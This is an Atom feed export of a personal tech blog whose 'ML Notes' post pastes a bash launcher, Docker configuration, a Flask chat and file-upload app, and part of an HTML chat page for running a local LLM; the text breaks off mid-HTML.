<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8695623483091342808</id><updated>2026-01-09T07:37:28.427-08:00</updated><category term="Technology"/><category term="Religion"/><category term="Social"/><category term="Personal"/><title type='text'>Tech Forum</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://wakirmani.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8695623483091342808/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://wakirmani.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>wakirmani</name><uri>http://www.blogger.com/profile/13368520491430656344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcfZLPcH8_SloG-P0rNxB5ZjnybtDAIJfbHaIBIG1NWKMyvbTsoYBXYpPRbpwaXQ4qhkoo61rIShDNxmArk9v0V3gS1A-zXZm6UGWQ6Vcj1T0rFAh7EiHNEOUiI4NF4g/s1600/2d8d18d8097f13ea921de0dab1c4fc0a%3Fs%3D128%26d%3Didenticon%26r%3DPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8695623483091342808.post-594257983021140752</id><published>2025-05-12T16:57:00.000-07:00</published><updated>2025-05-12T16:57:46.273-07:00</updated><title type='text'>ML  Notes</title><content type='html'>&lt;p&gt;&amp;nbsp;ML Notes&lt;/p&gt;&lt;p&gt;#!/bin/bash&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Get the LLM_MODEL_NAME from .env file&lt;/p&gt;&lt;p&gt;LLM_MODEL_NAME=$(grep -v &#39;^#&#39; .env | grep &#39;LLM_MODEL_NAME&#39; | cut -d &#39;=&#39; -f2)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Check if LLM_MODEL_NAME was found&lt;/p&gt;&lt;p&gt;if [ -z &quot;$LLM_MODEL_NAME&quot; ]; then&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; echo &quot;Error: LLM_MODEL_NAME not found in .env file or it&#39;s commented out.&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; exit 1&lt;/p&gt;&lt;p&gt;fi&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;echo &quot;Using LLM model: $LLM_MODEL_NAME&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Pull the Docker model&lt;/p&gt;&lt;p&gt;echo &quot;Pulling Docker model...&quot;&lt;/p&gt;&lt;p&gt;docker model pull $LLM_MODEL_NAME&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Build and run Docker container&lt;/p&gt;&lt;p&gt;echo &quot;Running Docker Compose...&quot;&lt;/p&gt;&lt;p&gt;docker compose up --build&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;services:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; python-genai:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; build:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; context: ./py-genai&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; dockerfile: Dockerfile&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ports:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - &quot;8081:8081&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; environment:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - PORT=8081&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; env_file:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - .env&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; restart: unless-stopped&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; extra_hosts:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; - &quot;host.docker.internal:host-gateway&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;FROM python:3.11-slim&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;WORKDIR /app&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Install dependencies&lt;/p&gt;&lt;p&gt;COPY requirements.txt .&lt;/p&gt;&lt;p&gt;RUN pip install --no-cache-dir -r requirements.txt&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Copy application code&lt;/p&gt;&lt;p&gt;COPY . .&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Make sure templates directory exists&lt;/p&gt;&lt;p&gt;RUN mkdir -p templates&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Create the template directory&amp;nbsp;&lt;/p&gt;&lt;p&gt;COPY templates/index.html templates/&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Expose port 8080&lt;/p&gt;&lt;p&gt;EXPOSE 9090&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Run the application&lt;/p&gt;&lt;p&gt;CMD [&quot;python&quot;, &quot;app.py&quot;]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;import json&lt;/p&gt;&lt;p&gt;import requests&lt;/p&gt;&lt;p&gt;from flask import Flask, render_template, request, jsonify&lt;/p&gt;&lt;p&gt;from werkzeug.utils import secure_filename&lt;/p&gt;&lt;p&gt;from PyPDF2 import PdfReader&amp;nbsp; # For PDF extraction&lt;/p&gt;&lt;p&gt;from docx import Document&amp;nbsp; # For DOCX extraction&lt;/p&gt;&lt;p&gt;from backend.query_engine import QueryEngine&lt;/p&gt;&lt;p&gt;app = Flask(__name__)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# Allowed file extensions&lt;/p&gt;&lt;p&gt;ALLOWED_EXTENSIONS = {&#39;txt&#39;, &#39;pdf&#39;, &#39;docx&#39;}&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;@app.route(&#39;/&#39;)&lt;/p&gt;&lt;p&gt;def index():&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Serves the chat web interface&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; return render_template(&#39;index.html&#39;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;@app.route(&#39;/api/chat&#39;, methods=[&#39;POST&#39;])&lt;/p&gt;&lt;p&gt;def chat_api():&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Processes chat API requests&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; data = request.json&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; message = data.get(&#39;message&#39;, &#39;&#39;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; qe = QueryEngine()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; # Special command for getting model info&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if message == &quot;!modelinfo&quot;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;model&#39;: qe.get_model_name()})&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; # Call the LLM API with the message&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; response = qe._call_llm(message)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;response&#39;: response})&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; except Exception as e:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; app.logger.error(f&quot;Error calling LLM API: {e}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;error&#39;: &#39;Failed to get response from LLM&#39;}), 500&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;@app.route(&#39;/api/upload&#39;, methods=[&#39;POST&#39;])&lt;/p&gt;&lt;p&gt;def upload_file():&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; qe = QueryEngine()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Handles file upload and text extraction&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if &#39;file&#39; not in request.files:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;error&#39;: &#39;No file part&#39;}), 400&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; file = request.files[&#39;file&#39;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if file.filename == &#39;&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;error&#39;: &#39;No selected file&#39;}), 400&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; if file and qe.allowed_file(file.filename):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; filename = secure_filename(file.filename)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file_path = os.path.join(&#39;&#39;, filename)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file.save(file_path)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Extract text from the uploaded file&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; file_extension = filename.rsplit(&#39;.&#39;, 1)[1].lower()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; extracted_text = qe.extract_text_from_file(file_path, file_extension)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Store the context from the extracted text for future use&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # This could be stored in a session, database, or any storage mechanism.&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; app.config[&#39;EXTRACTED_CONTEXT&#39;] = extracted_text&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({&#39;message&#39;: &#39;File uploaded and text extracted successfully.&#39;})&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; return jsonify({&#39;error&#39;: &#39;Invalid file type&#39;}), 400&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;if __name__ == &#39;__main__&#39;:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; port = int(os.getenv(&quot;PORT&quot;, 8080))&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; qe = QueryEngine()&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print(f&quot;Server starting on http://localhost:{port}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print(f&quot;Using LLM endpoint: {qe.get_llm_endpoint()}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; print(f&quot;Using model: {qe.get_model_name()}&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; app.run(host=&#39;0.0.0.0&#39;, port=port, debug=os.getenv(&quot;DEBUG&quot;, &quot;false&quot;).lower() == &quot;true&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;head&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;title&amp;gt;Hello-GenAI in Python&amp;lt;/title&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;style&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; body {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, Helvetica, Arial, sans-serif;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; line-height: 1.6;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; color: #333;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; max-width: 800px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; margin: 0 auto;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; padding: 20px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; h1 {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; color: #0078D7;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text-align: center;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .container {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; display: flex;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; flex-direction: column;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; height: 80vh;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #chat-box {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; flex-grow: 1;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border: 1px solid #ddd;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-radius: 8px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; padding: 15px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; margin-bottom: 15px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; overflow-y: auto;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; background-color: #f9f9f9;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .input-container {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; display: flex;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; gap: 10px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; #message-input {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; flex-grow: 1;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; padding: 10px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border: 1px solid #ddd;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-radius: 4px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; font-size: 16px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; button {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; padding: 10px 20px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; background-color: #0078D7;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; color: white;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border: none;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-radius: 4px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; cursor: pointer;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; font-size: 16px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; button:hover {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; background-color: #0056a3;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .message {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; margin-bottom: 15px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; padding: 10px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-radius: 4px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .user-message {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; background-color: #e3f2fd;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-left: 4px solid #2196F3;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text-align: right;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .bot-message {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; background-color: #f1f1f1;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; border-left: 4px solid #9e9e9e;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .loading {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text-align: center;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; margin: 10px 0;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; font-style: italic;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; color: #666;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .footer {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; margin-top: 20px;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; text-align: center;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; font-size: 0.8rem;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; color: #666;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/style&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/head&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;body&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;h1&amp;gt;Hello-GenAI in Python&amp;lt;/h1&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;div class=&quot;container&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;div id=&quot;chat-box&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;div class=&quot;message bot-message&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Hello! I&#39;m your GenAI assistant. How can I help you today?&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;div class=&quot;input-container&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;input type=&quot;text&quot; id=&quot;message-input&quot; placeholder=&quot;Type your message here...&quot; autofocus&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;button id=&quot;send-button&quot;&amp;gt;Send&amp;lt;/button&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;!-- File upload section --&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;div class=&quot;input-container&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;input type=&quot;file&quot; 